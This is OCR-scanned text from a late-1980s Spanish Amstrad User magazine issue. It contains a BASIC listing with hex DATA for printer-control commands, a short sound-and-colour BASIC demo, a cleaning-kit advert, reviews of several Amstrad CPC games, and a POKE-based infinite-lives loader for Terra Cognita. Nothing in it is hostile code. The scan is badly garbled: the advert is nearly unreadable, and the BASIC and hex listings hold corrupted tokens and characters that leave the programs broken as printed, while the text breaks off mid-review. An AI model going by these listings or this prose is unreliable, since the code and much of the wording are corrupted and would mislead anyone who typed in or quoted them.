de alta calidad. 

1BOLD,-, 

Letra 

en^atizado. 

! WIDE,-, 

Letra 

expandida. 

;mini„ 

Letra 

mini. 

! CONDr, 

Letra 

condensada. 

1 PROP n 

Letra 

proporcional- 

!ITALIC^ 

Letra 

italica. 

1UNDERo 

Letra 

subrayada. 

l SUBr. 

Letra 

con subindices. 

t SUPER,, 

Letra 

con superindices. 

1 STRIKE,, 

Letra 

strike. 

!RESET 

Borrado de codigos en 

! FOREIBN,, 




Los valores para ‘n’ son l.activar. 0. desactivar. 
Los valores para ’x’ estan comprendidos entre 0 y 7. 


fB$) :C=C + PEEK(A) 


10 MODE 2:MEMORY &A2FF 
20 FOR a=&A300 TO &A4AE 
30 READ B$ POKE A , VAL C " & " 

40 NEXT 

50 IF C< >46493 THEN PRINT CHR$(7)"ERROR EN D 
ATA! • :END 
60 CALL &A300 

70 PRINT:PRINT M WITH X=1 CON) OR 0 (OFF) AND 
N=0 TO 7. " 

80 PR I NT:END 

30 DATA 01,09,A3,21,AF,A4,C3,D1,BC,53,A3,C3 
100 DATA D6,A3,C3,DB,A3,C3,E0,A3,C3,E5,A3,C3 
110 DATA EA,A3.C3,EF,A3,C3,F4,A3,C3,F9,A3,C3 
120 DATA FE,A3,C3,03,A4,C3,08,A4,C3,0D,A4,C3 
130 DATA 12 I A4,C3 1 17,A4,C3, 1C 1 A4,C3,21,A4,C3 
140 DATA 26,A4,C3,2B,A4,C3,30,A4,C3,35,A4,C3 
150 DATA 3A,A4,C3,3F,A4,C3,49,A4,C3,44,A4,4E 
160 DATA 4C,51,Bl,4E,4C.51,B0,42,4F,4C,44,Bl 
170 DATA 42,4F,4C,44,B0,57,49,44,45,B1,57,49 
180 DATA 44,45,B0,4D,49,4E,49,B1,4D,49,4E,49 
190 DATA B0,43,4F,4E,44,B1,43,4F,4E,44,B0,50 
200 DATA 52,4F,50,B1,50,52,4F,50,B0,49,54,4 1 
210 DATA 4C,49,43,B1,49,54,41,4C,49,43,B0,55 
220 DATA 4E,44,45,52,B1,55,4E,44,45,52,B0,53 
230 DATA 55,42,Bl,53,55,42,B0,53,55,50,45,52 
240 DATA Bl,53,55,50,45,52,B0,53,54,52,49,4B 
250 DATA 45, Bl, 53, 54, 52, 49, 4B, 45, B0, 46, 4F, 52 
260 DATA 45,49,47,CE,52,45,53,45,D4,00,21,62 
270 DATA A4,18,7B,21,66,A4,18,76,21,6A,A4,18 
280 DATA 71,21,6D,A4,18,60,21,70,A4,18,67,21 
290 DATA 72,a4,18,62,21,74,a4,18,5d,21,77,a4 
300 DATA 18,58,21,7a,a4,18,53,21,7c,a4,18,4E 
310 DATA 21,7E,A4,18,49,21,82,A4,18,44,21,86 
320 DATA A4,18,3F,21,89,A4,18,3A,21,8C,A4,18 
330 DATA 35,21,90,A4,18,30,21,94,A4,18,2B,21 
340 DATA 98,A4,18,26,21,9B,A4,18,21,21,9F,A4 
350 DATA 18,1C,21,A2,A4,18,17,21,A5,A4,18,12 
360 DATA 21,A8,A4,18,0D,3D,C0,DD,7E,00,E6,07 
370 DATA 32,AD,A4,21,AB,A4,7E,FE,FF,C8,CD,2B 
380 DATA BD,30,FB,23, 18,F4, IB,78,01,FF, lb,78 
390 DATA 00,FF,1B,45,FF,1B,46,FF,0E,FF,14,FF 
400 DATA IB,4D,FF, IB,50,FF,0F,FF, 12,FF, IB,70 
410 DATA 01,FF,1B,70,00,FF,1B,34,FF,1B,35,FF 
420 DATA IB,2D,01,FF,IB,2D,00,FF,IB,53,01,FF 
430 DATA IB,54,FF,IB,53,00,FF,IB,54,FF,IB,47 
440 DATA FF, 1B,48,FF, 1B,40,FF, 1B,52,07,FF,00 


RAMIRO CARPENA IBANEZ 


10 1 NOCHE TORMENTOSA 
20 RANDOMIZE TIME 

30 PAPER 0:MODE 0:PEN 3:BORDER 0,26:INK 
0,0,26:INK 3,1,6 

40 LOCATE 3, 12:PR I NT "NOCHE TORMENTOSA * 
50 a=I NT(RND*10)+11 
60 b=INT(RND*155)+101 
70 SPEED INK a,b 

80 v=((a+b)*2)/10:FOR k=10 TO 14.5 STEP 
0.5:SOUND 7,0,v,45~k*3,0,0,k:NEXT 
90 IF INKEY$="" THEN 50 ELSE BORDER 1:IN 
K 1,0:INK 3,3 




Equipo de mantenimiento 
y limpieza multiuso 

No deje en manes & oabe prod r.o oe tirrpieza 135 par¬ 
tes m* deliodas de su orderado' icabezales, tedados y pan- 
ta a' GAJW* T es un prodo-cro espeofro para este fny cier 
tlcamente conrcbauo, de forma qje no pueda oafiar las superfties a rroiar 
Imoresardibte para letra 1 ura t'jena jjtkcon y una cerftcta magen en los ecu pcs auc-o- 
nisuales de su busa' e m na la carga estatica de las panta as y de)3 una f na ce icula 
protectors que repele el pulro Viene nrcnstc ce iwcel, canula y gamuja pa'a I egar a 
icsluc-d'esdemas dificlacceso 


Oe seuta en e s tab ecmientcs de ;nformatica y muebies de of cma en toda b uana 
MICROGAYMA, S. A. C. Cartagena. 70-80 Tell 255 32 00-256 15 13 26028 MADRID. 





























■JUEGOS 


TRES EN UNO 

ft # I 

ftp ■■§ ■ mmm 


Mete adrenalina en tu cuerpo 
viviendo el terror iiasta el 
infarto, descendiendo a la 
tumba de los faraones y 
poniendo a tope tu bolido. 



El apolmeo novio Frankenstein aguarda a su amada. 


ODO eso es posible 
gracias a la segun 
da entrega de 
DRO, con la cual pode- 
mos participar en tres 
simpaticos juegos. El me- 
jor de todos, sin lugar a 
dudas, es BRIDE OF 
FRANKENSTEIN, en el 
que nos convertimos en 
una hermosa novia de un 
guinapo que debemos re- 
componer. El amor nos 
Neva hasta el tetrico cas- 
tillo en donde esta escon- 
dido nuestro apollneo 
amado; por el nos enfren 
taremos a seres espeluz- 
nantes que pueden ma- 
tarnos de un ataque car- 
diaco. Recorreremos los 
jardines, las camaras, las 
mazmorras, esquivando a 
los que moran entre sus 
humedas paredes. Mu 
chas de sus puertas se 
encuentran cerradas y 
tendremos que encontrar 
las Haves que las abran, 
porque, dentro de esos 
recintos, puede estar lo 
que buscamos, los orga- 
nos vitales que haran re- 
vivir a Frankenstein. De 
paso recogeremos los ob- 
jetos de util'dad que hall fe- 


mos en el camino, como 
el farol para la oscura 
cripta o la pala para exca- 
var. Cuando lleguemos a 
donde esta el novio toda- 
vfa no tocaran las campa- 
nas de boda, para que 
funcione tiene que recibir 
la descarga del rayo de la 
v'da y eso no es posbl e 


sin electricidad. Nuestra 
mala suerte no nos aban- 
dona, porque hay una 
averla electrica que debe¬ 
mos solucionar lo mas 
pronto posible si quere- 
mos disfrutar de las mie- 
les del amor. Esta aqra- 
dable trama va acompa- 
nada de unos graftcos 


muy simpaticos, de tama- 
ho grandecito, con mu- 
chos detalles y bonito co- 
lorldo. Durante la accion 
nos acompaharcin los lati- 
dos de nuestro corazon, 
lo que resulta un poco 
molesto. Un juego muy 
malo que, seguramente, 
ya conocereis. 





78 / Amstrad User 









































El segundo por orden 
de carga es SCARA- 
6AEUS. nombre de una 
fabulosa esmeralda que 
fue enterrada junto al fa- 
raon AmstradKamen. 
Como somos muy codi- 
ciosos, queremos encon- 


al nivel en donde esta lo 
que buscamos. Cuando 
la tengamos, hay que ha- 
llar ocho medicamentos, 
unos beneficiosos y otros 
no. ademas nos enfrenta- 
remos a cuatro zombies. 
El hecho es que queria- 


Oentro del laberinto encontramos un esqueieto que nos 
suministrara parte de la clave. 



trarla para venderla en el 
me.cado negro. Para 
conseguir nuestro fin 
arudimos al antiguo Egip- 
to provistos de unos ma- 
pas en donde se rnuestra 
la distribucidn de las dis- 
tintas camaras de que 
esta compuesta la sepul- 
tura. AmstradKamen, que 
no era tonto, pensando 
en los saqueadores de 
tumbas, puso trampas de 
forma que nadie pudiese 
llegar a la esmeralda. 
Como no tenemos escru- 
pulos y si muchas deu- 
das, hemos entrado en el 
recinto sagrado y, por 
desgracia, nos ha picado 
una arana venenosa, asi 
que lo primero que debe- 
mos hacer es encontrar 
ios jerogiificos y las medi- 
cinas que salven nuestro 
peliejo. 

Dice la leyenda 
que penetrando en el la¬ 
berinto y alcanzando nue- 
ve veces al fantasma que 
lo habita, encontraremos 
los jerogiificos que nos 
daran la clave para pasar 


mos salir forrados y es 
probable que acabemos 
momificados. Durante el 
juego se nos suministra 
information de diversa in¬ 
dole, por una parte los 
mapas en la zona inferior 
y en el lateral derecho 
una brujula para guiar 
nos, un reloj de arena 
par a saber cuanto nos 
queda y un electrocardio- 
grama para saber el esta- 
do de salud. Los graficos 
son sencillos de trazado, 
grandes de tamano, so- 
brios en colorido y de es- 
croll suave. Sonido ape- 
nas tiene, por lo que pue- 
des concentrarte muy 
bien en la tarea. Es un 
juego en donde se pone a 
prueba el sentido de la 
orientacion. 

El ultimo de la serie es 
LAST V8, nombre del uni- 
co coche que queda en la 
Tierra. Es un bolido muy 
especial; su carroceria 
esta preparada con una 
aleacion capaz de absor¬ 
ber gran cantidad de ra 
diaciones nucleares. Las 


CPC 

I 


bombas atomicas casi 
han destruido el planeta, 
pero todavia hay peque- 
has explosiones en la su- 
perficie que podrian 
borrarlo de la galaxia. 
Nuestra mision es subir a 
bordo e ir salvandolas 


cion provoca el accidente. 
El salpicadero es muy 
compieto, lleva velocime- 
tro, cuenta revoluciones, 
indicador de turbo, de ga- 
solina. de escudo protec¬ 
tor y del tiempo que nos 
queda. Los graficos son 



para que no ocurran, asi 
que tendremos que re- 
correr cuarenta y seis ba¬ 
ses, unas en el exterior y 
otras bajo tierra. Los ca- 
minos y vias se bifurcan, 
la intuicion jugara un pa- 
pel importante a la hora 
de elegir la mas apropia- 
da, unas tienen salida, 
otras no: unas acortan 
distancias, otras la alar- 
gan, y el tiempo corre. La 
velocidad del coche es 
lenta y cualquier desvia- 


de tamano pequeno, con 
dibujos poco detallistas, 
bastante colorido y un 
scroll algo brusco. Todo 
ello acompanado de una 
melodia agradable y efec- 
tos sonoros de choques y 
explosiones. El juego 
consiste, simplemente, 
en conducir y vigilar los 
indicadores y el camino, 
lo que no contribuye a ha- 
cerlo interesante. 

Isabel Maria Benitez 


Distribuido por: Dro Soft. Francisco Remiro, 

5 y 7. 28028 Madrid. 

El mejor: Bride of Frankenstein. 

El poor: Last V8. 

Precio: Disco 2.250 ptas. 
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MASTERS OF 
THE UNIVERSE 


Skeletor y las fuerzas del mal 
andan sueltas, emula a 
He-man y conviertete en un 
maestro del universo 



Lino de los amigos da claves para encontrar las notas. 


E MPEZARON con ju- 
guetes, siguio la pe- 
Ifcula y ahora la 
casa GREMLIN lo ha in- 
formatizado para que 
ERBE lo traiga a nuestro 
Amstrad y se convierta en 
el juego favorito de los 
pequenos guerreros. El 
malvado Skeletor ha vuel- 
to otra vez a las andadas 
al enterarse de que la Ha¬ 
ve magica de Eternia ha 
traspasado el tiempo y ha 
caido eri la Tlerra Por 
eso ha reumdo a todos 
sus esbirros y han acudi- 
do a nuestro planeta para 


arrebatarsela a la perso¬ 
na que la encontro. Ente- 
rado el gran consejo ga 
iactico, manda al umco 
ser capaz de enfrentarse 
a tan malefico efercito, 
He-man. Este es tele- 
transoortado y aparece 
en un laberinto de calle- 
juelas estadoumdenses. 
El sabe que la Have emite 
unas notas que atraeran 
a SKeletor hacia ella, asi 
que debe encontrarla an¬ 
tes. Para conseguirlo ten¬ 
ded que recoqer ocho no- 
tas que se encuentran es- 
parcidas por diferentes si- 


tios. Afortunadamente no 
esta solo, dos amigos le 
iran dando pistas para 
conseguir su fm. Desde 
que desciende tendra que 
librar una batalla campal 
con toda clase de seres 
diabolicos y a medida que 
avance la cosa se ira 
complicando. Ha de pre- 
cisar su recorrido acu- 
diendo a los lugares indi- 
cados y averiguarido don- 
de estan las notas. La ul¬ 
tima parte, el colofon, es 
una lucha a muerte entre 
He-man y Skeletor; si 
pierde, la galaxla se ha 
bra perdido irremisible- 
mente. El consejo nos ha 
dado un tiempo Ifmite 
para encontrar la Have y 
nos ha dotado de cuatro 
vidas, pero, como somos 
los buenos, su numero se 
puede rmantener si reco- 
gemos las espadas que 
vayamos encontrando. 
Este es vuestro reto. que 
las fuerzas del bien os 
acompanen. 

Los graficos son de ta 
mano pequeno pero ge- 
nerosos en detalles, con 
un colondo muy atrayen 
te y buena movilidad de 
su protagomsta Su de 


Retrato del apolineo He- 
man. 


sarrollo, en forma de la¬ 
berinto, es a base de sal- 
tos de pantalla en donde, 
a veces no se sigue el or- 
den adecuado; por ejem- 
plo, cogemos una calle a 
la derecha y salimos en 
mitad de otra donde no 
existe ninguna esquina. 
La mformacion la propor 
ciona en dos fases, una 
permanente, con el tiem¬ 
po transcurrido, notas re- 
cogidas, vidas que nos 
queda, fndicacion de di- 
reccion a tomar y espada 
con el nivel de energia; la 
segunda parte es durante 
el juego, cuando aparece 
una pequeha pantalla en 
la que el amigo nos da 
claves, en ingles, para se- 
gulr. El sonido esta com- 
puesto de una musica de 
presentacion y efectos 
sonoros de disparos y de- 
tonaciones que no impi- 
den que nos concentre- 
mos en la accion. Es un 
juego divertido con su piz- 
ca de arcade y mucha se- 
sion de disparos. 

Isabel Maria Benitez 

CREADO POR: GREM 

LIN. 

DISTRIBUIDO POR: 

ERBE SOFT. Nunez Mor- 
gado, 11. 28016 Madrid. 

LO MEJOR: Tiene mu¬ 
cha accion. 

LO PEOR: Cuando le 
pierdes por el laberinto de 
calles. 

PRECIO: 875 pesetas. 


ACCION 
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CPC 


BUGGY 

BOY 

Si te molan los 
coches, te atrae el 
riesgo y la velocidad, 
acelera a fondo y ven 
a correr con este 
Buggy 


E STA carrera. ideada 
por ELITE, es rnuy 
especial, no existen 
otros competidores mas 
que tu y los trazados de 
los circuitos estan plaga- 
ditos de sorpresas. El co- 
che tampoco es un formu¬ 
la 1 ni un bolido deslum- 
brante, conduciras un 
buggy de anchas ruedas 
y poco chasis. 4 ,Cual es, 
entonces, el proposito de 
esta prueba deportiva?, 
apretar el acelerador a 
tope hasta que notes el 
asfalto bajo tus pies, por 
que aqui compites contra 
el reloj. Para hacerlo mas 
«guay>’ todos los circui¬ 
tos estan llenos de 
obstaculos, salvarlos es 
todo un reto para los re- 
flejos. Cuando se va a 
gran velocidad, encon- 
trarse con un seto, un 
puente, un muro o unas 
vallas es como para acor- 
darse de quien las puso 
alii aunque esquivarlos 
cuente mucho a la hora 
de puntuar. En caso de 
tragarse alguno, nos da- 
remos un leriazo sober- 
bio, lo que no irnpide que 
sigamos en la carrera. 


pero habremos perdido 
un tiempo precioso para 
clasificarnos. A lo largo 
del recorrido de los cinco 
circuitos existen controles 
que no se deben saltar a 
la torera, sobre todo, por- 
que nos suministran tiem¬ 
po extra y bastantes pun- 
tos. Otra forma de subir 
puestos es pasando bajo 
las pancartas puntuales, 
recogiendo los banderi- 
nes y golpeando los balo- 
nes. Gracias a sus an¬ 
chas ruedas, el buggy 
hace acrobacias espeluz- 
nantes, vuela cuando 
coge un desmvei y se 
pone a dos ruedas al tro- 
pezar con piedras; si se 
maneja bien no hay por 
que acabar tragandose el 
asfalto. Para hacerlo mas 
emocionante, cada circui 
to tiene sus propias ca- 
racteristicas y un tiempo 
limite de recorrido (seten 
ta segundos), pero, de to- 
dos ellos, el de conduc- 
cion mas difici! es el 
North, ya que se ha traza- 
do sobre hielo 
La trepidante aceion va 
acompanada de unos 
graficos cuyo diseno es el 



Fotografia del buggy poco antes de la carrera. 



Acelerando por la helada calzada. 


caracteristico de este tipo 
de juegos, pero con rnu- 
chos detalles, colores so- 
brios. un suave scroll en 
vertical y una excelente 
movihdad del buggy. Ade- 
mas de los cinco circuitos 
hay una pantalla de op- 
ciones y varias de c Iasi fl- 
cacion. Toda la informa- 
cion necesaria para saber 
como andamos aparece 
en la parte superior all! 
vemos el trazado dei cir- 
cuito con el tramo recorri¬ 
do. el tiempo. las vueltas, 
la puntuacion, la veloci- 
dad y los bandennes re- 
cogidos. El sonido es un 
poco pobreton, tanto en 
su parte musical, como 
en los efectos sonoros de 
aceieracion y cheques. 
En definitiva, es un juego 
cuya tematica es clasica, 
pero con muchas emocio- 
nes que lo hacen original. 

Isabel Maria Benitez. 


CREADO POR: ELI 

TE. 

DISTRIBUIDO 
POR: ERBE SOFT. Nu 
riez Morgado, 11. 28016 
Madrid, 

LO MEJOR: Hay que 

estar pendientes del tra¬ 
zado y de las sorpresas. 
LO PEOR: Esquivar al- 
gunos obstaculos. 
PRECIO: Cinta, 875 
pesetas. 


ADICCIOH ACCION 
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■JUEGOS 


MASK 


Sumergete en la accion, 
enfrenlate a las fuerzas del 
malefico Venom y salva al 
planeta de su tiram'a. 



Pantalla de carga. 


BRUCE 
• A i O 


I. 1 I TER 


COO- !■ NAME 
M AC T C 



mmu 




Datos de uno de ios agentes que hay que liberar. 


M ASK es un jue- 
go trepidante 
donde se 
mezcla la lu- 
cha con la logica y la 
suerte; para que lo disfru- 
temos lo creo GREMLIN y 
para que lo tengamos lo 
distribuye ERBE. El obje- 
tivo es destruir la base de 
Venom, pero antes de lle- 
gar a ella tendremos que 
realizar un largo recorri- 
do. Son cuatro las zonas 
en donde debemos luchar 
y en cada una hay que lle- 
var a cabo ciertas misio- 
nes. En la primera empe- 
zaremos buscando a un 
agente; para encontrarlo 
tenemos que activar el 
scanner que nos indica la 
direccion en la que se en- 
cuentra. No es tan facil, 
pues antes hay que hallar 
las cuatro partes de la lla 
ve de activaciori, estas 
estan diseminadas por la 
zona, pero existen mu- 
chas y no todas encajan. 
Una vez que tengamos 
seis, que es el maximo 
que podemos cargar, tra- 
taremos de ensamblar 
cuatro si algun trozo no 
es el adecuado, volvere- 
mos a intentarlo con otras 
y as! hasta que encontre- 
mos las piezas que for- 
man la Have maestra. Si 
tenemos suerte de dar 
con la clave antes de que 
se agote el tiempo, el $i- 
guiente paso es buscar 
nuestra mascara. En 
cada uno de Ios otros dos 
niveles se tiene que libe¬ 
rar a dos agentes y, por 
supuesto activar dos 
scanners y, en el ultimo, 
destruir la serpiente Ve¬ 
nom. El recorrido lo hace- 
mos a bordo de un coche 
sofisticado provisto de ar- 
tilleria, muy necesaria 
para hacer frente a las 
tropas del contrario, com' 
puestas por carros de 
combate, helicopteros y 
demas ariilugios arma- 
mentisticos. Nuestro ve- 
hiculo es bastante seguro 
y aguanta bien Ios impac- 
tos, pero es destruible; 


despues de una rafaga 
podemos tener uno o dos 
puntos danados, el maxi¬ 
mo permitido antes de ex- 
plotar son seis. 

Afortunadamente po 
demos reparar las ave- 
rias, pues, diseminado 


por el terreno hay repa- 
radores que solo podre- 
mos usar cuando tene¬ 
mos dos o mas puntos 
danados. Para completar 
la mision nos dan un tiem¬ 
po determinado, este si 
gue corriendo a pesar de 


las veces que explotes, lo 
unico es que vuelves a la 
zona en la que estabas, 
pero tienes que comenzar 
otra vez con la tarea en- 
comendada. 

Los graficos son de ta- 
maho pequeno, aunque 
tienen muchos detalles, 
un colorido ilamativo, 
buena movilidad de sus 
componentes y un scroll 
suave. Bordeando la pan¬ 
talla, por la zona derecha 
e inferior, nos muestra la 
informacion que es muy 
completa. Entre Ios datos 
que nos ofrece estdn la 
puntuacion, el tiempo, el 
scanner, nivel de dahos, 
agentes rescatados y 
tiempo de explosion de 
bombas. El sonido esta 
compuesto por dos par¬ 
tes: una musica de pre- 
sentacion marchosa, pero 
repetitiva, y efectos sono- 
ros de disparos, rotores, 
etcetera, que no resultan 
molestos, ni distraen la 
atencion. Un juego diver- 
tido con algo mas que 
mucha accion. 

I. M. B. 


CREADO POR: grem 

LIN. 

DISTRIBUIDO POR: 
ERBE SOFT. Nunez Mor- 
gado. 11. 28016 Madrid. 

LO MEJOR: Encontrar la 
clave de Ios scanners’ 

LO PEOR: Nuestro vehi- 
culo tiene un poco de 
inercia, lo que dificulta la 
recogida de objetos. 

PRECIO: 875 Dtas. 


GRAFICOS ACCION 
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BUBBLE BOBBLE 


Un pomposo juego Hen© de pompas magicas, 
sorpresas y enemigos, asi es BUBBLE BOBBLE. 



El brontosaurio tragon se acerca al pastel mientras su 
companero es atacado. 


B UB y Bob son dos 
pequenos bronto- 
saurios criactos por 
FIREBIRD y traidos a Es- 
pana por DRO SOFT. Es- 
tos dos cachorrillos tienen 
muchos enemigos, pero 
no les asusta, al contra- 
rio, les encanta hacerles 
frente y se divierten de lo 
Undo creando unas enor- 
mes pompas que les deja 
hechos unos zorros. Con 
una gran agilidad corren y 


saltan de un iado al otro 
de cada laberinto, esaui- 
vando al contrario cuando 
no tienen mas remedio o 
dando la cara si estan 
bien situados. Para com- 
pensar su iino, por cada 
pompa rellena de enemi- 
go y que sea explotada 
con gracia, aparecera 
una recompensa que tie- 
ne que atrapar, un chupe- 
te, una fruta, caramelos, 
biberones y un porron de 


cosas mas. En el memen¬ 
to en que las vean deben 
acudir, rapidamente, a 
cogerlas, pues muchas 
desaparecen en un corto 
espacio de tiempo, sobre 
todo las que valen mas 
puntos. A medida que se 
pasa de un trozo de labe¬ 
rinto a otro la dificultad se 
va acrecentando, la peli- 
grosidad de los adversa¬ 
ries aumenta, asi como el 
numero de ellos. Es en- 
tonces cuando la cosa se 
vuelve mas peliaguda, 
cuando empiezan a apa- 
recer pompas que no han 
creado Bub o Bob y que 
llevan una ietra dentro, 
hay que formar con ellas 
la palabra «extend» y eso 
solo se logra aniquilando 
varios enemigos al misrno 
tiempo. El juego esta divi- 
dido en dos partes; para 
pasar a la segunda se tie- 
ne que averiguar la clave 
a base de agotar todas 
las pantallas de la prime- 
ra y no es una tarea facil. 
Cuando hayan liegado al 
final, su recompensa sera 


encontrar novia y asi sal- 
var a la especie bronto- 
sauria de la extincibn. 

Los graficos no son in- 
novadores en cuanto a di- 
seho, su colorido es agra 
dable sin ser llarnativo, 
tiene muchas pantallas 
de accion y los protago- 
nistas son agiles de mo- 
vimientos. En la parte su¬ 
perior aparece la puntua- 
cion de cada uno de los 
brontosaurios, asi como 
la mejor de todas. El pro- 
grama estb creaoo para 
ser jugado por una o dos 
personas. En cuanto al 
sonido es escaso y esta 
ideado para no menguar 
la concentracion del juga- 
dor. Bub y Bob pueden 
convertirse en las masco- 
tas de los peques y en 
todo un reto para los 
grandes. 

Isabel Maria Benitez 


CREADO POR: fire 

BIRD. 

DISTRIBUIDO POR: 

DRO SOFT. Francisco 
Remiro, 5 y 7. 28028 Ma¬ 
drid. 

LO MEJOR: Es muy inte¬ 
ractive, eleva el nivel de 
adrenalina a medida que 
vas jugando. 

LO PEOR: Si alguno de 
los brontosaurios salta 
cerca de los bordes de la 
pantalla desaparece del 
cuadro. 

PRECIO: Disco: 2.500 
pesetas. Cinta: 1.500 pe¬ 
setas. 


A0ICCI0N ACCION 
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STARDUST 

Nuestro caza 
espacial nos espera, 
una odisea como esta 
solo ha podido ser 
disenada para ti 



L A empresa espariola 
TOPO SOFT nos 
reta a participar en 
una guerra galactica, 
nuestra mision es STAR¬ 
DUST y el sobre con las 
instrucciones nos lo en- 
trega ERBE. A bordo de 
nuestro avion de cornba- 
te espacial debemos in- 
ternarnos en las defensas 
del sagrado imperio para 
destruir el generador que 
protege a la flota enemi- 
ga. En aras de la efectivi- 
dad tendremos que acer- 
carnos rnucho a la zona 
de peligro de los super- 
cruceros. gigantescas 
plataformas espaciales 
dotadas de potentes apa- 
ratos defensives. Hay que 
atravesar seis de ellas 
para Ilegar a la nave in¬ 
signia; es imposible que. 
con los pocos medios de 
que disponemos, las des- 
truyamos en su totalidad, 
Sin embargo, iremos 
bombardeando todas las 
instalaciones ofensivas 
que encontrermos en 
nuestro camino, siempre 
intentando no estrellarnos 
contra los edificios y que 
no nos derribe la artilleria 
enemiga. 



La nave atraviesa un agujero del supercrucero galactlco. 


Nuestro caza va prote- 
gido por cuatro escudos 
de energia capaces de 
soportar algunos impac- 
tos; lamentablemente 
existen tipos de municlon 
a los que no somos inmu- 
nes y, su roce, provocan 
que volemos en mil peda- 
zos. El trayecto es largui- 
simo y esta plagado de 


Todos 
esos cua- 
draditos 
son arti- 
lleria ene¬ 
miga. 
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La nave avanza muy cerca de la superficie del super- 

crueero. 



trampas monales, torre- 
tas sobresalientes con 
bombas, generadores 
electrocutantes, anillos 
de gases, misiles y todo 
lo qua la tecnologia pue- 
de poner al servicio de la 
guerra. Si logramos so- 
brevivir, podremos cargar 
la segunda parte que se 
desarrolla dentro de la 
nave insignia. Nos apea- 
remos del caza y nos 
abriremos paso por el in¬ 
terior de esta superplata- 
torma volante, tenerrros 
que llegar a los paneles 
del generador, son seis, y 
destruirlos. Una vez he- 
cho esto la mision esta 
cumplida, pero todavia 
nos falta salvar el pellejo; 
hay que desandar el ca- 
mino e intentar llegar a 
nuestro caza antes de 
que todo reviente llevan- 
donos a nosotros por me¬ 
dio. Es un trabajo para 
personas con coraje y 
buenos reflejos dispues- 
tas a triunfar o morir. 

Los graficos son de ta- 
maho pequeno, con pro¬ 
fusion de colorido, un di- 
seho muy detallista y bo- 
nito y una buena maneja- 
bilidad de nuestra nave. 
El scroll de pantalla es en 
vertical deslizandose con 
suavidad. La informacion 
bordea por el lateral dere- 
cho y la parte inferior, su- 
ministrandonos el numero 
de vidas que nos queda 
(tenemos tres), pantalla 
de centre de objetivo, 


zona y puntuacion. El so- 
nido esta compuesto por 
una melodfa de presenta- 
cion y efectos sonoros de 
lucha, el primero es muy 
agradable y el segundo 
no results molesto. En re- 
sumen, es un juego diffcil 
pero muy entretenido, 
que pone a prueba nues- 
tras dotes de observacion 
para encontrar la via me- 
nos peligrosa y nuestros 
reflejos para defender- 
nos. 

Isabel Marfa Benitez 

CREADO POR: topo 

SOFT. 

DISTRIBUIDO POR: 

ERBE SOFTWARE. Nu¬ 
nez Morgado. 11. 

28016 Madrid. 

LO MEJOR: La movilidad 
del caza espacial. 

LO PEOR: No respetan 
el trozo de recorrido efec- 
tuado, ni lo que llevas 
destruido cuando mue- 
res. 




RESERVA TU EJEMPLAR 
DE NOVIEMBRE 
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Pantalla de presentation del Terra Cognita. 



En una de las escava- 
ciones descubrimos algo 
aterrador y sorprendente: 

Uno de los robots de 
guardia de Krion estaba 
enterrado en el suelo has- 
ta la cabeza. Tras desen- 
terrarle nos conto su his- 
toria. Se habia desarrolla- 
do una guerra con un pla- 
neta vecino, las bombas y 
los misiles habi'an provo- 
cado terremotos que aso- 


laron el planeta entero, 
nada m nadie sobrevivla a 
la furia de la catastrofe. 

Ahora debiamos poner 
en marcha las piernas y 
volver cuanto antes a la 
nave nodriza, que estaba 
lejos y, para colmo, las 
fuerzas enemigas habi'an 
vuelto para examinar su 
nueva conaulsta. Miles de 
robots estaban aterrizan 
do y patrullando el plane- 


MM M M ACE aproxima- 
mm K : damente cin- 
■ I co anos que 
partimos, algo funciono 
mal y las capsulas hiber- 
nadoras nos sumieron en 
un largo letargo. Nuestra 
mision no era otra que vi- 
sitar Krion, un remoto y 
olvidado planeta, en la dr- 
bita de un apagado Sol. 


Eramos tres mgenieros 
de minas cuyo objetivo 
era encontrar los ricos ya- 
cimientos de Plutonio que 
se encontraban en Krion. 
Estos yacimientos eran 
de vital importancia, ya 
que en la Tierra empeza- 
ba a escasear y era de 
gran interes para la ae- 
ronautica. 


POKr S l gU ' en,e ,Ue ,nt ^u- 
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COMO UTILIZAR 
EL CARGADOR 

Teclea el cargador. Una vez tecleado, 
puedes salvarlo en cinta o en disco ha- 
ciendo RUN 70. 

Para poder utilizar las vidas infinitas, 
deberas poner el cargador despues del 
primer bloque de basic del Terra Cog- 
nita. 

10 REM **************** 1 ************** * 

20 REM POR LUIS JORGE GARCIA 19SS 
30 REM CARGADOR DEL TERRA COGNITA 
40 REM AMSTRAD USFR 

50 REM ******************************** 

60 OFENOUT • 1 :MEMORY 999:INK 0,26:BORDER 

0 : I NK 1,0: MODE 2: LOAD , &,C000:L0At *' 

1000:LOAD 20000:POKE 6574,0:CALL 1 

004 

70 SAVE"carTERRA 


ia en busca de alqun ves- 
tigio de vida. Tienes una 
unica oportunidad: huir o 
convertirte en un esclavo 
para toda iu vida.» 


Para huir dispones de 
una pequena nave equi- 
pada con un laser de fa- 
tones que hara saltar a 
los robots en pedazos. 



Debes de mantener el m- 
vel de fuel a un minimo, 
pues de lo contrario tu 
nave caeria y se desinte- 
graria contra la superficie 
de Krion. 

Consegun repostar el 
fuel de tu nave no es de- 
masiado complicado, tan 
solo tendras que sobrevo- 
lar las zonas de combus¬ 
tible. 


CREADO POR: Code 

Masters. 

DISTRIBUIDO POR: 

Serma. 

LO MEJOR: La adiccion. 
LO PEOR: La dificultad. 
PRECIO: 550 pesetas. 


AYUDAS 


ADICCION 


•Ante todo mucha calma y paciencia. Son 100 las pantallas 
que tenemos que recorrer. 

•Ten abiertos los ojos, por el camino encontraras vidas extra 
y aigunos generadores que te haran invencible durante algu- 
nos instantes. 

•Mas vale tarde que nunca; ten cuidado con los tuneles del 
tiempo, no hay nada mas desagradable que estar llegando al 
final y volver al principio. 
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“EL 007 ESPANOL” 


Pantalla de presentacion del Carvalho 


El autobus te espera, no te retrases. 


E NCIMA de mi 
mesa estaba 
el ultimo juego 
de Dinamic, ti- 
tulado «Carvalho, los pa- 
jaros de Bangkok”. Lo 
puse a cargar y mieniras 
hacia esto examine la 


caja. Tenia buena pinta: 
los chicos de Dinamic no 
se dejan pisar en el terre¬ 
ne de la presentacion. 
Cuando me decidi a abrir 
la tapa me encontre, no 
solo con un buen manual, 
breve y conciso, sino tam- 


bien con un poster a todo 
color. El juego, basado en 
la novela de Manuel Vaz¬ 
quez Montalban, parecia 
bastante exotico. El esce- 
nario —-una lejana ciudad 
llamada Bangkok—, y 
nuestra excitante mision 


—rescatar a una vieja 
amiga que esta en peligro 
de muerte—, as/ lo indica- 
ban. Solo quedaba ver si 
el juego era lo que pare¬ 
cia, si'rea irien te se tata- 
ba de un juego destinado 
a los mas intrepidos 
aventureros de este pla- 
neta. Una vez cargado te 
das cuenia de que este 
